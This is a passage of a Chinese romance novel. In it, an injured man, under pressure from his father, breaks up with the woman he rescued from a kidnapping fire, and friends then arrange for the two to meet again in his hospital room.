这场恶性社会事件已经被记者爆出来,有很高的热度,这几天也有记者想来采访她,都被她以身体不适为由拒绝了。 经历这么一场凶险火灾和绑架,她整个人消瘦了很多。更何况她本就不胖,现在更是没什么肉了。气质安安静静的,像漂亮却又脆弱的瓷器。 叶霜乔虽然讨厌她,可还没想着她真的死。 “哎,你这样还能上班吗,不会耽误公司项目进度吧?” 她其实想问姜栀好点没有,有没有被那个绑匪吓到留下阴影,但话到嘴边就变了。 姜栀的视线从窗外收回来。 “不管你说什么,我都会谢谢你来看我。” 她声音温和,好像还是从前那个姜栀,可叶霜乔总觉得她好像少了股劲儿,还有那种温柔式的鲜活。 她现在就像一朵外表看起来美丽,但内里快腐烂的花。 只要轻轻碰一下,花瓣就能碎落一地。 “那个……” 叶霜乔左思右想,还是说了,“那天是我看见你被掳走的,我本来不想管你死活,但是我觉得我也还没那么坏。” “我找到了芯耀的边总,你知道他什么样吗?” 这是这些天除了边叔叔以外,第一个当着她的面提起边野的人。 明明这么熟悉的名字,可姜栀咬在嘴里却觉得生涩。 她努力维持的平静,就这么出现了裂痕,裂痕下暗潮翻涌。 叶霜乔回忆起第一次聚餐在包厢里见到边野,带着上位者的冷漠,看谁都没有感情,令人不敢轻易靠近。 但也很符合她对年轻总裁的刻板印象。 叶霜乔以为他就是这样的人,可直到那天晚上听到她说姜栀被人掳走,她才知道高位者不是只有冷漠,还有深情。 “我第一次见身处这种位置的男人为了一个人慌到发疯,却又逼着自己冷静,安排了人手去找你。” 她说起来有点羡慕,“他满眼都是你,如果你真的出事,我相信他真的会疯,说不定还会为你殉情。” 姜栀每听一句,心就往下坠一点。 手心蜷起,眼眶不受控制地发酸。 所以为什么……为什么不愿意回她消息,哪怕是让边叔叔转达。 “我来的时候还看到有记者在楼下,可能是想要采访你吧。”叶霜乔看着她的模样,忽然觉得她也很脆弱,“这件事闹得这么大,他们都知道你在这儿,可是没人知道边总在哪。” 姜栀眼睫颤了下,窗外雪景皑皑,亮得她瞳眸发痛。 耳边传来叶霜乔轻惋的声音。 “他这么在乎你,如果现在不肯出现,一定有苦衷。” 第63章 第 63 章 宿城的冬天不如盐城冷, 也没下雪。 vip病房外的树光秃秃的,今天没有太阳,阴沉沉的天, 像一潭死水, 叫人心里也压抑。 边野已经醒来有一周了, 但双腿伤得严重, 在大火的高温中大量失血, 后背因梁柱砸伤而导致脊柱骨折。 哪怕打了镇痛剂, 他还是痛得睡不着。 整宿整宿地熬着。 医生每天都会过来检查他的伤势, 询问情况。 他麻木得像个木偶,随他们摆弄。 从他被送进盐城的医院到转回宿城私立医院,边政的脸色没有一天好过,即便医生没有当着他的面说,但边野清楚,他伤得很严重。 他的腿现在动都动不了, 跟废物没什么两样, 只能躺在床上哪儿都去不了。 边政打完电话从外面进来,看见他这副毫无生气的模样,心里很不好受。天知道他得知自己唯一的亲儿子伤成这样,有多愤怒和恐惧。 愤怒的是他居然为了一个女人连自己的命都不顾,差点死在火里。 而恐惧,边政喉结滚了滚,心里沉甸甸的。 这孩子是小黎留给他最好的礼物,哪怕她心里有别人也没关系, 如果小野真死在火场里, 他百年之后怎么跟小黎交代。 沉了口气,边政关上病房门。 “我已经按照你说的告诉她你现在的状况, 你现在脱离了危险,以后也不需要再给她转达什么。你们就此别见了,我相信你也不想她看见你这副样子。接下来是漫长的治疗和康复,你必须好好配合医生。” 像命令似的一件一件嘱咐。 边野的神色始终很淡,有种灵魂被抽离的空洞。 边政拧着眉在沙发上坐下,脸色凝肃中又带了些愧疚,“我没想到我养了头狼在身边,居然敢主动去找贺三联手对付你,早知道我当初就不该可怜她!” 他越想越气,声音愤怒,“至于贺三,你老子我倾家荡产都要让他付出代价,牢底坐穿!这辈子都别想出来!” “你现在除了养伤,别的都不要想了,我都会替你处理好。” 边野依旧平静无澜,仿佛在听别人的事。 边政重重地吸了口气,看他这副样子,丝毫没有当初的那股意气风发与和他对着干的嚣张,那股子心气儿从醒来似乎就被抽干了。 他沉痛地想要指责几句,但又怕说得太重,脸紧紧绷着。 “这种事这辈子都只有这么一次,你不拿自己的命当回事,好歹也要想想你奶奶,我现在是瞒着她,要是她知道,接受不了病出个好歹你忍心吗?” 边政说起来就有点忍不住,这么多天他一直憋着。边野昨晚从重症监护室里推出来以后,他又心痛又担忧,而不满的情绪也达到了顶峰。 边野眼睫垂落着,没有焦距地盯着身上的被子。 许久,他沙哑着声音问:“如果我想见她一面呢。”像受困的囚徒在黑暗里绝望地去找寻一束光,可有个声音告诉他,这是奢望。 他现在这副废物模样,见了又能怎样,还不是要放她离开。 “见什么?” 边政脸色沉下去,虽然小黎生前很喜欢这个孩子,他也愿意承认她很优秀很懂事,但她不能成为边野的软肋。 小野这次伤成这样,严重到都不知道什么时候能下床,要是再来一次,他怎么承受?他眼睁睁养大的儿子,不能因为一个女人就没了! “你们俩在一块就是个错误,有什么好见的?我当初就应该坚持不让你们在一起!”边政瞥了他一眼。 他知道边野是个什么样的人,从前就喜欢跟他对着干,所以有些话必须要戳在他心窝上。 “你根本保护不了人家,还把自己弄成这副样子,是电视剧看多了觉得自己是个英雄了?” 边政故意去刺激他,“你现在伤成这样,连自理能力都没有,是指望她以后天天照顾你吗?你一个顶天立地的男人但凡有点责任心都该离她远远的,而不是这么拖着人家。” 边野眼睫几不可察地颤动了下。 身上无处不疼,他脸色苍白如纸,没半点血色,但一声不吭,不管是在重症监护室里观察的时候还是从里面出来以后。 可这些都没有边政说的话疼。 他这辈子唯一一次喜欢人,却不得圆满。 边政絮絮叨叨说了一堆,一句比一句剜心,边野一言不发。 也不知道听进去了还是压根没听。 他心里又气又无奈。 “你要是舍不得跟她分开,那就由我来做这个恶人。”边政绷着脸色,声音沉沉。 说着转身就走。 临近病房门时,他听见边野终于出声。 很平静,平静到像是接受了被命运捉弄,接受了重归黑暗。 “我自己来。” 沙哑着嗓音,简短低淡。 边政握着门把的手顿了下,“就在电话里说,越快越好。” “还有,解决完以后就不要去盐城了,你奶奶也不希望你待在那,家里的公司不接手没事,但上次我说的苏家千金,等你再好一点就见见。” “联姻是归宿,我很早就跟你说过。” 怕他反抗,边政又补了句,“就当放过姜栀,别耽误了她,让人家父母在泉下看着也安心点。” 门开了又关。 病房里再次安静下来。 边野看向窗外,光秃的树枝没有半点美感和生命力,冷冰冰的。 不似盐城,盐城的雪景一定很好看。 他们还没好好一起看过。 - 临近过年的时候,姜栀接到了边野的电话。 像平地一声惊雷,把这一个多月以来她伪装的冷静轻而易举打破,听到他声音的时候,她正在家里做饭,手机差点抖得没握住。 出院以后,她每天都找各种理由安慰自己。 也许边野是还不能看手机,也或许是和边叔叔的关系有摩擦,所以不愿他转达。她平静地上下班,平静地过着每一天,只是偶尔会发呆失神,想着他在宿城过得怎么样。 日复一日,她以为自己快习惯了。 习惯没有他在,她也能好好生活。 但没有。 只是一点声音就能打碎她以为的习惯。 被强行压抑了许久的思念如潮水一般涌了上来,一浪又一浪地狠狠拍打着她的心脏,酸楚与刺痛交织搅在胸腔里。 她唇瓣发颤,开口好几次都没能发出声音。 大脑空白了一刹,姜栀紧紧掐着掌心才勉强开口:“你在哪?” 对面沉默了两秒。 然后像没事人一样,声音里透着轻散,“姜栀,我们分开吧。” 如同重石坠进湖底,溅起一片冰冷的水花。 姜栀愣了下,“什么?” 边野望着窗外阴沉沉的天,紧攥着手掌。 痛苦、艰涩、难忍。 每一样都搅得他翻天覆地,可边政说得对,他不能以一个废物模样去面对她、去绑架她,让她可怜他,从而留在他身边。 他不知道自己会不会好,也许还有机会,也许这辈子都会是个残废。 他红着眼眶,心脏的抽痛感让他险些喘不上气,却仍旧努力做出懒散的姿态,“我说,分开。” “我们不要再见了。” 只是简简单单的两句话,却用尽了全身的力气,再多一个字,他都会被看穿。 姜栀有一瞬间失语。 她唇瓣蠕动,想说点什么,却一点音节也发不出来。 什么叫分开。 什么叫不要再见了。 她听不懂。 姜栀感觉自己好像被什么东西砸懵了,很痛,可找不到出处。 她努力忽略那些扎人的话,扯起嘴角,露出艰涩的笑,“你是不是受了很重的伤,所以心情不好?你告诉我在哪,让我去看看你,有什么话我们见了再说好吗?” 姜栀的声音温软,里面的关切清清楚楚地落在边野耳里。 他痴痴地望着窗外,好像这样就能和她看同一片天空。他原本逼着自己冷静,逼着自己表现的无所谓一点,可是不行,她一开口,他几乎撑不住。 边野眼底有泪,强忍着没掉,他紧紧攥着手机,压着情绪。 艰涩的呼吸里,眼里的悲伤越来越浓。 “看我?” 轻嗤声透过电波传到姜栀耳里,“我很好,也没必要跟你见面。如果你是准备来看我跟别人订婚,那恐怕得等等,我会让人给你发请柬。” “没有请柬你进不来的。” 姜栀握着手机的指尖发紧。 这些话刺激着她的神经,大脑空白了一瞬后,她喉咙里像是卡了根刺,扎在血肉里,锥疼不已。 “边野……” 她忍不住哽咽,轻吐着气息让自己不要崩溃。 他不好。 他都开始说胡话了。 姜栀声音破碎发颤,重复着那句话,“你让我来看看你,好不好?” 什么订婚,什么请柬,她一个字都不信。 为了救她,他疯了一样地找她,任由贺为京羞辱,双腿扎得鲜血淋漓,在浓烟里被熏的窒息也要拖着残破的身躯替她挡住掉下来的梁柱。 他不是要订婚,他一定是受了很重的伤怕她看见、怕她伤心自责才会用这样的办法刺激她、驱赶她。 他不清醒。 一点都不。 如果她真的走了,他一个人怎么熬。 叶霜乔说的对,他那么在乎她,怎么会突然放弃她,她不能被他唬住。 “你伤得很重对不对,为什么不愿意跟我说实话?无论你变成什么样,我都不会离开你。” 姜栀哽咽着,声线破碎,“你听到了吗?” “我爱你,不是只爱你的光鲜亮丽,也爱你满身污泥,狼狈不堪。” 边野瞳眸发颤,胸腔里的情绪汹涌澎湃,被浓重地触动到。 他喜欢了一个很好的姑娘,可现在,他配不上她了。 边野闭了闭眼,有泪从眼角滚落。 七岁以后他没再流过泪,对这个虚伪的世界、虚伪的感情充满了厌恶,然而这个姑娘让他冰冷的心底有了一丝柔软与温暖。 可越是这样,他越要清醒。 边野将那些酸楚、痛苦、绝望与麻木统统咽下去。 然后说出了他这辈子第一次也是最后一次的狠话:“你要听实话,那我就告诉你。我恨你。” “你为什么要出现在我的生命里,你就该无声无息地从边家离开,或者跟你父母一起在那场车祸里丧生——” 每一个字都像尖锐锋利的刀尖,一刀一刀地划在心口上,鲜血淋漓,可他还是要在刺目的血泊里捡出玻璃渣。 姜栀眼睫发颤,手指僵硬。 她嗓子发紧,说不出话来。 “我恨你,如果不是你,我会有更好的人生。” 他像从内而外腐烂的树,枝干一节一节地断落,却还要在腐烂里将讽刺显尽,“姜栀,不要再见面了,救你这一回就当是我们之间感情的句号,就此两不相欠。” “我的余生不该有你,也不会再有你。我很清楚自己在说什么,多亏了贺为京,如果不是他策划了这场绑架和大火,我不知道什么才是最重要的。 “如果重来一次,我不会救你,你远没有我自己来的重要。我对你已经不剩半分爱意,我不想余生在恨意中度过。别再纠缠,让自己体面点。” 他一口气说完这些就掐断了电话,生怕听到她说出什么,他会狠不下心。 她往后会遇到健全的人,会拥有好的爱情。 这就够了。 手机里早就没了声音,姜栀站在原地却久久没有回神。 这些话像过电影似的在脑子里回放,一遍一遍地凌迟着五脏六腑。 很痛,痛得她呼吸都困难。 她快分不清了,他是在逼她走还是真的恨她。 从年少到现在,他护了她无数次。 这些是不是一直在不断地消耗着他对她的爱意,直到这一次,这样大的事故里,他终于意识到,她是个多么麻烦又可恨的人。 终于不再爱她。 所以连见面都觉得多余。 细细密密的碎痛腐蚀进四肢百骸,充斥着她身体里的每一个地方。 姜栀维持着举手机的姿势许久。 直到身后的锅里发出汤水扑出来遇到灶火的滋滋声,好几秒钟她才反应过来,赶紧放下手机去关火。 锅里的面煮了太久,已经过软。 姜栀拿出碗盛起来,筷子轻轻一夹就断了。 她忙了一天,中午几乎没吃,肚子很空。 面条太软味道差了点,家里没有做菜,姜栀拿了辣椒酱拌在面里。 她对辣椒的接受度有限,刚刚一筷子放多了,现在碗里的汤水都是红的。 但实在饿,她不管不顾地吃起来。 辣椒刺激的她额角鼻尖都是汗,眼眶里也溢出生理性泪水。 几筷子吃完,胃里火烧火燎。 端着回厨房的时候,手肘不小心撞到了厨房门,一个不稳,手里的碗“啪”一下掉下来,砸了个稀烂,满是辣椒油的汤水溅在拖鞋上。 她垂眸看着,像被按了暂停键。 呆滞了几秒后拿过毛巾打湿,去擦拖鞋上的油渍,可怎么都擦不掉,还越擦越深。 她急地加快速度,用了很大的劲。 拖鞋被擦得扭曲。 为什么。 为什么擦不掉…… 姜栀心里着急,手上的力道更重更快,鞋面下的脚趾都被按得生疼。 眼泪从眼眶里毫无预兆地掉出来,砸在鞋面上,悄无声息地融了。 胃里抽痛,一阵恶心汹涌而来。 她来不及擦鞋,直接跑到洗碗台边。 火辣辣的汤水和面被喉咙里滚出来,刺激着感官,她止不住地吐。 吐到最后只剩酸水。 可胃部还在抽痛。 姜栀扶着洗碗台,吐到胃都空了,几乎要痉挛。 冷水冲了把脸,她勉强缓过来一些。 片刻后,蹲下身去捡破碎的碗片丢进垃圾桶。 安安静静的,脸上什么情绪也没有。 只是很突然,心里酸胀难忍,眼泪啪嗒一下掉出来。 她像没感受到一般,任由它一颗接一颗地落,依旧不停地捡着地上的碎瓷片。 许久。 厨房里响起很轻的抽噎声,有一下没一下的,像初落的雨,并不均匀,到后来细细密密。 接连不断的哭泣声里,姜栀撕心裂肺的疼。 第64章 第 64 章 那天以后, 他们没再联系过。 姜栀也好像忘记了这个人,一门心思地投入到工作里,哪里需要帮忙她就去哪里, 烫手难啃的项目她也毫不避讳, 经常加班到深夜。 每次都是匆匆洗漱了睡觉, 第二天被闹钟吵醒, 按时去上班。 临近过年, 她忙得脚不沾地, 常常连午饭都没时间吃, 在公司里像陀螺一样转。 叶霜乔难免被她惊到吓到。 公司的项目周期都不短,还没有紧张到需要员工夜夜加班。 她起初还以为姜栀在为年终奖奋斗,后来才觉出不对来。 自打上回在医院里看望过她以后,叶霜乔对她的态度就不像从前那样针尖对麦芒了,缓和了不少。 也许是看到她的脆弱,多少能理解几分。 今天是年前的最后一周, 姜栀已经半个月没有好好睡过了, 眼底黑眼圈明显不少,遮瑕都没能完全盖住。 她拿了新项目又要去做方案,被叶霜乔拦住,“哎——” “你这样很吓人,万一病倒在公司,老板和同事们都会受到牵连。你已经是业绩第一了,没必要这么拼了。” 姜栀觉得自己近来精神头很好,精神好的时候就应该多干活。 她笑起来, 却像个没什么感情的机器, 只知道运转,“我保证, 就算猝死也不会找公司的麻烦。” 然后,抱着一堆文件,继续投入进去。 叶霜乔张了张嘴,有些说不出来话。 直到最后一天,公司放了假,姜栀运转结束,开始收拾东西。 回孟城的机票已经买好了。 老两口早早做了一桌子好菜,她一回去就被投喂。 上次的事吓到了他们,姜栀一个人远在盐城,到底是不放心。 “知知,我和你爷爷年纪大了,你工作忙,有时候想去看看你,也不方便。”老太太是第一次提起这事儿,但她心里已经想了很久,“你有没有回孟城的打算啊?我和你爷爷也认识些人,找工作方面也许能帮上点忙。” 姜爷爷也顺势望着她。 姜栀夹菜的动作轻微一顿,莞尔,“等明年吧,明年的项目结束,我回来。” 贺为京已经入狱,不必再惧怕什么。 老两口原本以为她会有些为难,她要实在喜欢盐城,他们也不会阻拦。 这话落下来,两个老人脸上是止不住的笑意。 “对了知知,我老伙计有个孙子,从国外回来的,”姜爷爷从前是个木匠,匠技好,远近闻名,“人长得虽然一般,但能力好又孝顺,是个不错的,趁着过年,要不要见见?” 边说,目光边细细地观察着她。 姜栀没什么特别的反应,一边嚼菜一边点头,“嗯,你们决定就好。” 老太太瞥了眼老伴,又试探性地看向她,“那……就正月初一见见?正好那天不用走亲戚,对方也有空。” “好。” “离正月还有几天,你们要不要先加个微信聊聊?” “好。” 姜栀从头到位都很顺从,不管他们说什么,她都应。 应得不加思考、毫无排斥,反倒让老两口有点担忧。 “知知啊,你是不是——”有什么心事。 老太太这话还没问出来,姜栀的手机响了,隔着卧室门,铃声传出来。 她咽下嘴里的饭菜,没顾上老两口,“我先去接个电话。” 姜栀刚进去,老太太眼底的忧愁泛上来,“老姜,这孩子……” 她欲言又止,但姜爷爷明白。 姜栀虽然从小就乖巧,但是那种鲜活的乖巧,而不是现在这样,他们说什么她都没有异议。 老太太甚至有种哪怕让她马上去结婚她都不会摇头的错觉。 姜爷爷放下筷子,没了胃口。 盐城那场绑架大火,除了知知还有个男人,里面的情况他们不得而知,警方也没有多跟他们谈及,但这世上的事只要发生了就会有人传播。 他们后来才知道,那个男人姓边,在盐城开了家公司,长什么样没人知道。 边姓少见,姜爷爷下意识想起宿城那个边家,那个收留了知知的家。 听说知知被绑后,他义无反顾冲了进去,也是他报的警,最后伤得很重,说是连路都走不了。 一个男人不要命地去救一个女人,还能因为什么。 倘若只是盐城本地一个姓边的倒还好,万一真是宿城边家的那个独子,那才叫令人忧心。先不说收养的关系,就边家这样的家世,又发生这种事,知知难自处啊。 姜爷爷越想越心凉。 回孟城前他问过警方,能不能见见那位,至少说一声感谢。 但警方说不便透露。 姜爷爷哪还能不懂,这要不是那位的意思就是家里长辈的意思。 后来回到孟城,他跟老伴琢磨了许久,才意识到,知知也喜欢这个男人。 她乖巧懂事,心思又细腻,对待感情也一定是极为认真的。 这才难办。 老两口心照不宣,只能时常给她打电话,关心她的生活状态,她始终平静温和,可也就是太平静太温和了,反倒不对劲。 但他们不敢问也不敢说。 更不知道她感情方面怎么样了。 这次回来,他们提议让她见人是真,也是当面探探,她和这个男的到底是个什么样的结果。 现在看来,两个人应该是断了。 也好,不如找个知根知底的。 姜爷爷眯了口白酒,心底既忧愁又感慨。 一门之隔,姜栀的电话接近尾声。 “你把地址发给我吧,我去看你。”她声音淡淡。 任恔妤轻微哽咽,“谢谢你啊姜栀,真的很感谢你能来看我,你不知道圈内都是什么牛鬼蛇神,我摔伤了也没个人陪我说说话。” “只有你了。” 姜栀试图安慰,“会好的,别担心,我今天就来。” “好,你到了直接上来,我给护士台打过招呼了。502病房。”任恔妤感激地挂断了电话,脸上表情一秒钟消散。 小助理正巧走进来,听见这话,特意看了眼病房号,有点莫名,“姐你是不是报错了,咱们这是617。” 任恔妤靠在病床头轻吸了口气,拿过柜子上的草莓塞进嘴里,“没报错。” 至于别的,她也帮不上什么忙了- 和爷爷奶奶说过以后,姜栀买了下午的票去宿城。 自从工作之后她就没再回来过,只在逢年过节的时候给边叔叔和管叔还有奶奶打电话问候,或者寄一些盐城的特产回去以作心意。 而今时隔两年多再次回到这个地方,她有些出神。 宿城的冬天总是阴沉的多,偶尔也会出太阳,但笼在雾霾里,也看不太真切。 这地方从前就发展得好,现在更加繁荣,风景建筑没有太大的变化,给她一种淡淡的熟悉感。 姜栀买了些东西进医院,按照任恔妤说的去往502病房。 这家医院她不是第一次来,边野高二时候的骨折和后来那起车祸,都是在这家医院。 踏进来的那一刻,竟有种怯感。 这层都是vip病房,很安静。 502病房的门没完全关上,留了一条缝。 姜栀想了想,还是抬手去敲门。 即将敲下去的一秒,她听见极为熟悉的声音,震颤着灵魂。 “见了又能怎样,是给她徒增念想还是给我。” “何必。” 他声音低沉,平静地接受了现状,无波无澜。 姜栀的手顿在那儿,僵硬着敲不下去。 多久没有听到他的声音了。 哪怕她刻意去忘记、去放下,可好像他一出现,那些熟悉的过往就像沸腾的开水,不停地冒泡。 宋言旭看了眼时间,按照任恔妤说的,这个点姜栀应该已经到了。 他特意留了门缝。 瞥了眼病房门,浅浅一条缝,从这个角度也看不到有没有人。 算了,死马当活马医吧。 “可你为了救她,两条腿伤成这样,脊柱骨折手术,你在医院躺了两个多月了,还想躺多久?” 宋言旭听闻这事的时候,几乎不敢相信,但在亲眼看到他躺在病房里,毫无生气的模样,他心里难受得不行。 “你不打算起来了吗?就这样自暴自弃?”宋言旭多少有点恨铁不成钢,从前的边野意气风发,随性不羁,当年就算是和她分开也没见这么颓废。 然而他又能理解一二,这样重的伤落在谁身上都难以承受,边野却连声疼都没喊过,从入院到现在,任谁看了不说硬气。 来探病的这几天,他也和边叔打过照面。 上回也不知道是不巧还是太巧,刚来就就听他跟边野说找机会跟苏家的千金见一面,在医院见也没事,先把订婚的日子敲定下来。 宋言旭原本以为边野会反抗拒绝,但他什么也没说,默认了似的。 那一刻他才觉出不对来。 “我在配合治疗,但它太废了。” 边野的目光落在腿上,眼底的有讽刺和麻木。 宋言旭心里憋着气,“你那叫配合吗?不是躺着配合输液,遵医嘱就叫配合,你一副看着不想活的样子,你怎么好的起来?” “好跟不好有什么区别?”他声音淡而平静,像是在说旁人的事,“好起来也不过是堪堪走路,也会有后遗症,不好就靠轮椅。不论哪个,都跟残废没什么区别。” 姜栀心脏尖锐地痛了下。 她知道他一定伤得很重,可不知道他伤得这样重,重到下半辈子很可能连路都走不了,他那样骄傲的人,怎么能忍受。 “所以呢?” 宋言旭脸色不太好看,一口气堵在喉咙口,不上不下的,“推开姜栀,然后跟苏家那位订婚?” “是谁从前跟我说人这辈子如果有喜欢的人一定要抓住?你就是这么抓的?” 边野掀起眼皮看他,迎着他的视线。 十数秒后才开口:“你今天过于激动了。” 还是那么犀利。 宋言旭有一瞬欣慰,他皱起眉,“你告诉我,好兄弟变成这样怎么能不激动?我堆压了这么多天的情绪,释放一下也有问题?” 边野平静地挪开视线。 没说什么。 他看向灰暗的窗外,天空没什么色彩,像蒙了纱。 少年人的喜欢是冲动,但成年人的爱情需要肩负责任。 他越这样无波无澜的,宋言旭心里越不好受,“我就问你一句,你是不是怕耽误人家才把人推开的?” 否则她怎么会一次都没来医院看望过。 边野没有回答他,只是淡淡道:“你回去吧,我累了,要休息。” 他沉了口气,还是不肯放弃,“你分明还喜欢姜栀,你这么推开她的时候有没有问过她的意愿,爱不是私有品,不是一个人想怎么决定就怎么决定的。” 话说到这份上,宋言旭觉得该说的不该说的,好听的难听的他都说了。 他只能做到这个份上了。 转头离开,他打开病房门的刹那,那张素净漂亮的脸蛋映入眼底,他先是一惊,而后蔓延出喜悦来。 什么也没说,深深看了她一眼后朝她点头示意了下,错开身离去。 至此。 姜栀明白过来,她今天被叫过来是任恔妤有意为之,刚刚那番话也是宋言旭故意要说给她听的。 她现在已经能不动声色地收敛情绪,不会再像两个月前接到他电话那样失控。 姜栀在门外站了好一会,还是推门进去。 病床上的男人闭着眼,眉骨锋锐,鼻梁高挺,轮廓清晰。 还是和从前一样令人熟悉的面庞,依旧好看得让人挪不开眼,只是比上回见面消瘦了很多。 听到脚步声,边野没睁眼,下意识道:“怎么回来了。” 她目光从他的脸慢慢移向身体再到腿部,最后才在一片静谧中开口,“来看看你。” 死寂的冰湖被当空一棒,迅速皲裂,裂纹延伸向四方,最后彻底破开。 只剩下冷冻的水。 边野眼睫颤动了下,那些被他刻意压抑的情绪纷至沓来,阻挡不住。另一侧不被她所看见的手缓缓攥紧,骨节用力。 睁眼后,那双漆黑的眼冰冷无温。 连看都没有看她一眼。 “看什么,看笑话吗?”他声音很沉,带着鲜明的讽刺。 姜栀没有回答,她走过去把买来探病的东西一一放好,细致地替他将被子拉好。 她头发乌黑而长,垂落在边野眼前,散着清浅的香气。 有那么一瞬间,他想说之前说的都不作数,他没有不要她,是他没有办法。但也只有一瞬,他就清醒过来。 告诉自己不要犯浑。 姜栀始终安静,并不受他故意之下的刺激。 她坐在病床前,窗外的光散落进来,那双眼圆润的眼干净纯粹,因为步入社会而多了几分轻熟的韵味和沉稳,对边野来说,简直透着致命的吸引力。 他不敢看,他怕他看一眼,就无法自控了。 “你知道我被贺为京绑架的时候在想什么吗?”姜栀的声音轻软温柔,像南方小调,吴侬软语的。 “前半生小心翼翼,却还是被命运捉弄,再一次把命丢在这种人手里。” 边野瞳眸颤动了下。 什么叫再一次,是在他毫无知觉、不在她身边的时候,她差点死过一次吗? “可后来你出现了。” 姜栀静静地说,神色缥缈又虚空,“你被他那样折辱的时候,我恨不得代替你,哪怕是死,我也不会说个不字。” “甚至觉得,如果我死能换你平安,就什么都值了。” 边野心脏抽痛。 他紧紧攥着被沿,努力抑制着情绪波动。 “命运好像又很眷顾我们,我没死你也没,但却把你变成这样,变成我不认识的模样。”她嘴角挂起很淡的弧度,却没什么温度。 “嗯——” 边野的声音在情绪的挤压下有点哑,“我一直这样,只是你没看清。” “或许吧。” 她声音轻轻,目光最终回落到他身上,“我没后悔喜欢你,你是我第一个喜欢的人,从学生时代到现在,是有点刻骨铭心,但我会努力忘记你的,去爱其他人。” 哪怕你有苦衷,可你不曾亲口告诉我。 那些你以为的好意,可有想过我是不是愿意接受。 被动又被迫地面对苦楚,自我放弃、自我吞咽又再次重塑。 很难熬的过程,她不想再来一次。 与其如此不坚定,不如就直接斩断。 哪怕过了两个多月,她还是没法忘记他也没关系。 时间会抹去一切的,总有一天,总有一天她会放下,不再记起。 边野沉着眼睛,喉咙里漫出血腥气。 和当初他要推开她的时候不同,比起那时候,现在如同刀割凌迟。可这把刀很钝,一次一次地磨着心脏。 没有什么时候比此刻还要痛,令他痛不欲生。 “你和苏小姐的订婚宴我可能没法来了,不用给我发请柬。” 姜栀望着他,“我们以后也许还会碰见也许不会,但如果你想,我会把结婚请柬发给你,不论你来不来我都欢迎。” 她要讲的都讲完了。 也没有必要再留着。 他们之间到这就真的结束了。 姜栀心底的悲伤一闪而过,她起身,声音温和地跟他道别。 转身的刹那,边野的心理防线终于崩溃,他哑着嗓子问:“是已经有人选了吗?” 她没回头,平静回他:“没有。但我会试着去接受白司裴,他帮了我很多,只要他还愿意,我会努力尝试走近他。” 他眉心狠狠跳了下,偏头看她。 背影纤瘦,露在衣服外的脖颈白皙。 他眼眸漆黑,却将她的身影映得清晰。 “你知道他要联姻订婚了吗?就在年后。” 姜栀确实不知道,眼里平静得没什么光彩,“可如果他愿意,我会相信他能解决好。边总照顾好自己,我的事会自己看着。” “怎么解决?” 他有些克制不住,幽黑的瞳孔里翻涌滚动着浓稠的情绪,“他要怎么解决,你要因为他一个承诺就把自己一辈子都搭进去吗?” 边野滚动着喉结,紧紧掐着掌心,“你知道他的家庭是什么样的吗,他的意愿、他的承诺都不会被允许出现,你不要犯傻。” 她可以去爱任何人,可不能是白司裴。 白家光鲜亮丽,可内里腐朽不堪,不是你能熬得过去的。 别犯傻。 “可我已经傻过一回。” 姜栀眼眶缓缓泛起热意,“再来一回又有什么关系。” “你为什么觉得他不会做得比你好?” 病房里陷入沉寂,她始终背对着他。 边野不知道要怎么去劝她,他自己也不是好东西,招惹她却给她这样的结局。 可还是没法眼睁睁看着她跳进火坑。 “是谁都可以。” 边野近乎绝望,可他不知道怎么去说了,“别是他。” 姜栀眼睫颤动,她还是会很轻易地被他扰动情绪。 “你以什么身份说这些?” 她转头,这一次迎上他的眼睛。 男人瞳孔黑沉,像深渊要把人吸进去。 “你不爱我,这不是你说的吗?” 先前的平静被打碎,姜栀心口发酸发胀,是克制的爱意,是无法倾泻的痛。 “我们从此,天各一方。” 她转身离开,眼底的泪涌上来。 却没掉下来半滴。 走廊安静冗长,像来的时候那样,姜栀一步一步地往回走。 路过第三个病房时候,她听见剧烈地碰撞声,虽隔着些距离,可她就是能确定,不是别人,一定是边野。 她在原地僵了下,奔了回去。 病房门打开,床上早已没了人,边野连带着被子滚在了地上,带倒了床边的柜子,东西掉了一地。 他脸色惨白如纸,身体因为和地面的撞击带来剧痛,额角青筋毕露,手臂支撑不住地颤抖,强忍着一声没吭。 姜栀被吓到,一颗心悬在嗓子眼,瞳眸骤缩。 紧急跑过去扶他,“你疯了吗?” 伤成这样还试图下床! 他四处都使不上力。 姜栀扶不起来,神色急切,“我去叫医生。” 她刚要起身就手臂就被拉住,边野脸色又白了些,唇瓣没半点血色,气息虚弱,“等等……” 姜栀眼底的担忧藏不住,“是不是撞到哪儿了?” 腿上的刀口牵扯着神经,连同脊柱,迸发出令人难以忍受的痛,他皱了下眉,面部肌肉颤动了两下。 “……我没事。”他勉强扯出一个苍白的笑。 明明有事,明明都痛成这样了,却还要逞强着说没事。 没事……到底什么才算有事? 姜栀心口被什么刺了下,直视着男人漆黑涌动的双眼,“你到底要逞强到什么时候?” 酸楚与无奈的愤怒瞬间窜上来,那些被压抑的不满终于在这一刻爆发,“摔成这样是没事,为了不耽误我满口谎言逼我走,说了不爱我还要关心我未来和什么样的人在一起,你以为做了这些我就会感激你吗!” 边野握着她的手无意识地收紧了点,晦涩的黑眸像皲裂的瓷器,碎得稀烂。 她声线发颤,眼尾泛红,有泪蓄起,“你就是个懦夫!” “我不需要你把自己逞强成一个所谓的英雄,我不需要!”姜栀喉咙哽咽难忍,那通逼她分开的电话之后她做了好几天噩梦,每次梦醒眼尾都是湿濡的,枕头上泪渍鲜明。 她怕自己沉浸在这种悲怆的情绪里,最后变成行尸走肉,只能一遍遍地告诉自己,没事的,只要还活着,没有什么过不去。 只是他不喜欢你了而已,仅此而已,你不该这样脆弱,也不可以。 可这样依旧不够,她只能拼命工作,试图把所有空闲时间都塞满,塞满了她的脑子里就不会再有别的东西了。 不停地做方案,一个不行就两个。 无数个夜晚熬到窗外的万家灯火几乎灭尽,她才能感受到疲倦,才能什么都不想的去睡觉,但也依旧睡得很浅。 只是打个闷雷都能让她惊醒,然后再也睡不着。 可不能让自己闲着,哪怕只睡了两三个小时,远没到上班点,也要爬起来做方案。 她不敢停。 日复一日,姜栀终于感觉到一些麻木。 她的情绪好像逐渐凝固的雾,不会再轻易流动。 这是好事,偶尔停下来一会儿也只是放空发呆,不会立马想起他。 放下他、忘记他这件事她想她快做到了。 然而就在她到了病房门口,听到他和宋言旭的对话后,那些她逼着自己做的事,把自己填满到没有空去想任何工作以外的过程,就像个笑话。 这样当头一棒下来,她连笑都笑不出来。 她算什么? 姜栀眼底的泪摇摇欲坠,琥珀色眼眸装了太多的心事。 